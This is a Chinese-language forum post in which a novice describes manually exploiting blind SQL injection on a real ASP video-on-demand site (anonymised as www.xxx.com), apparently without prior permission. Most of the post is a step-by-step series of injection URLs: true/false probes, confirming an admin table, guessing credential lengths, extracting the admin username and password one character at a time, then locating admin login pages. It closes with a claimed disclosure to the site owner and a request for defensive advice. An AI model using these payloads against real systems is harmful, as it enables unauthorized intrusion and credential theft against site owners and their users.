首先引用一下教程裡的話:“SQL injection可以說是一種漏洞,也可以說成是一種攻擊方法,程式中的變數處理不當,對使用者提交的資料過濾不足,都可能產生這個漏洞,而攻擊原理就是利用使用者提交或可修改的資料,把想要的SQL語句插入到系統實際SQL語句中,輕則獲得敏感的資訊,重則控制伺服器。SQL injection並不緊緊侷限在Mssql資料庫中,Access、Mysql、Oracle、Sybase都可以進行SQL injection攻擊。 在大多數ASP站點中,我們並不知道其程式程式碼,靠任何掃描器也不可能發現SQL injection漏洞,這時就要靠手工檢測了,由於我們執行SQL語句要用到單引號、分號、逗號、冒號和“--”,所以我們就在可修改的URL後加上以上符號,或在表單中的文字框加上這些符號 ”

  尋找目標,我尋找到了,這裡就用www.xxx.com代替吧。

  開啟一個電影地址,www.xxx.com/film/show.asp?id=271

  測試一下www.xxx.com/film/show.asp?id=271 and 1=1

  開啟了  這步應該是測試可不可以用SQL隱碼攻擊的一個驗證吧,(不過我試的那個網站是可以SQL隱碼攻擊的,我到不知道不可以SQL隱碼攻擊會返回什麼值)

  www.xxx.com/film/show.asp?id=271and 1=2沒開啟(在教程裡面這個寫成了_blank>http://www.bofei.net/film/show.asp?id=271 adn 1=2 希望管理員如果看到的話請改一下~~)

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin)這一步是檢視是否存在ADMIN列表的,測試以後開啟,說明ADMIN列表存在

  根據教程測試,測試密碼,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)>5) 打不開,連線錯誤,後來跟教程一樣試了8,結果也是錯誤,後來直接圖方便把8改成了6,嘿嘿,還是錯誤,為啥?因為是>而不是=,後來試了幾次都沒有開啟。鬱悶了,想,是在哪出錯的?後來從新看了一次教程,並把命令粘到了文字文件做比較,哦,原來應該是=,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)=6)

  試了一下=以後,結果開啟了,說明ADMIN的密碼=6位 繼續下一步。

  猜測使用者名稱

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')

  直接套這步,沒開啟,後來苦思N久, 沒看懂教程裡面的意思,哎,先放著,繼續下一步。

  尋找站長的名字,當時還是沒大看懂這句,網站上N多地方都沒有網站站長的名字之類的,繼續下一步。

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,6)=''13月32日'')

  我試了次,當然打不開,2個站的站點ADMIN怎麼能一樣內,嘿嘿。當時沒有理解這個的意思,我又繼續了下一步。我雖然不理解這句的意思,但是我稍微知道,13月32日,就是站長的ID,(username,6)就是站長的名字=6位長的意思。(不知道這樣理解對不對呀如果不對請指出)

  猜測密碼,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')

  這步他直接猜測完了,他的密碼是6位數,然後密碼是100200,這步的步驟。

  第1步應該猜測第1位數的密碼,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,1)=''1'')

  ''1'' 應該把這個''''號裡的1,從0-9,A-Z試一次,如果失敗,會打不開,直到成功了,就會正開啟,而且沒有錯誤提示。這句我只能理解括號裡面的,(password,1)=''1'')這句理解成: 密碼的第1位數=1

  試完第1個密碼該試第2個密碼了,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,2)=''10'')

  因為我已經站點第1個密碼是1了所以不用動第1位數了,這次也是從0-9,A-Z試一次,這步完了就該第3步了,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,3)=''100'')

  依次第6步就應該是

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')

  因為先前已經知道他的密碼長度是6位了,然後他的管理員ID也依照這個方法來查

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')

  (username,1)=''1'') 這句理解成:第1個名字的是:1

  依次查出管理員名稱,

  pass:如果管理員名字改成漢字,那半年也猜不錯吧?不知道能不能用漢字?:(

  試出管理員密碼,然後試登陸頁面,3個地址

  www.xxx.com/film/adminlogin.asp

  www.xxx.com/film/login.asp

  www.xxx.com/film/admin/login.asp

  大概會應該有一個能進入的,然後用你剛才查到的管理員ID和PASSWORD進入。

  好了,可以隨意瀏覽了,我進入了一下,沒什麼好看的,我自己也有自己的站點,我要想看,自己下一個看算了,而且我和這個網站的管理員關係很好,如果我想看裡面的電影,他會傳到開設到我帳戶的FTP裡,然後我自己下載就可以看了,所以我已經把這個漏洞告訴他了,剩下的就是他們的辦法了,由於偶還是菜菜,偶不會清楚自己的PP,55,我也很誠實的告訴了他,而且我也沒動裡面任何客戶的資料,沒新增任何一個客戶的時間卡,我想我這個善意的舉動,他們不會對我做什麼懲罰吧?(第1次做這個事,不知道能不能算的上hacker的舉動,我沒用任何工具,全靠手慢慢猜的)如果他們懲罰我我可就完了,這個VOD視訊網站的上頭,就是我們當地的寬頻公司,我們這裡只有電信和網通2家,電信是剛起家的接入的地方比較少,網通給我停網了,恐怕以後我就不能在家上網了,555。

  這個方法,現在能成功的ASP電影網站恐怕很少了,因為我們這裡相對網路技術比較落後一些,他們的網路安全觀念比較淡薄,所以這次還是會很順利的進入了他們的電影網站,我想如果他們進入資料庫裡,類似做論壇一樣,隨便改幾個資料庫中的連線,就可以直接解決這個問題了,起碼你沒有他伺服器的許可權,你就不知道他的ADMIN管理進口在哪。

  也希望各位高手說一下,就當幫小的一個忙,如果象我說的那種情況,有什麼方法可以阻止別人象我這樣利用SQL攻擊而獲得ADMIN帳號?會的請跟貼說一下,謝謝了。(別叫人整個ASP都刪掉喲)  

  希望各位高手大大都把自己第1次覺得自己做的成功的事,發上來,對於新手的學習,會起到很大的作用的。